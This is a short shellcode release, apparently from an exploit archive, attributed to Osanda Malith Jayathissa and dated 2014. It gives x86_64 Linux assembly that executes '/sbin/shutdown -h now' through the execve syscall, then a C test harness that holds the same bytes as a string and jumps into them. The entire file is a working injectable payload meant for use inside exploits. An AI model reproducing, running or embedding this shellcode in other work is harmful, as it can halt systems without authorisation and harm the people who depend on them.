/*
; Title: shutdown -h now x86_64 Shellcode - 65 bytes
; Platform: linux/x86_64
; Date: 2014-06-27
; Author: Osanda Malith Jayathissa (@OsandaMalith)

section .text

  global _start

_start:

  xor rax, rax
  xor rdx, rdx 

  push rax
  push byte 0x77
  push word 0x6f6e ; now
  mov rbx, rsp

  push rax
  push word 0x682d ;-h
  mov rcx, rsp

  push rax
  mov r8, 0x2f2f2f6e6962732f ; /sbin/shutdown
  mov r10, 0x6e776f6474756873
  push r10
  push r8
  mov rdi, rsp

  push rdx
  push rbx
  push rcx
  push rdi
  mov rsi, rsp

  add rax, 59
  syscall

*/

#include <stdio.h>
#include <string.h>

unsigned char code[] =  "\x48\x31\xc0\x48\x31\xd2\x50\x6a"
      "\x77\x66\x68\x6e\x6f\x48\x89\xe3"
      "\x50\x66\x68\x2d\x68\x48\x89\xe1"
      "\x50\x49\xb8\x2f\x73\x62\x69\x6e"
      "\x2f\x2f\x2f\x49\xba\x73\x68\x75"
      "\x74\x64\x6f\x77\x6e\x41\x52\x41"
      "\x50\x48\x89\xe7\x52\x53\x51\x57"
      "\x48\x89\xe6\x48\x83\xc0\x3b\x0f"
      "\x05";

int
main() {

printf("Shellcode Length:  %d\n", (int)strlen(code));
int (*ret)() = (int(*)())code;
ret();

return 0;
}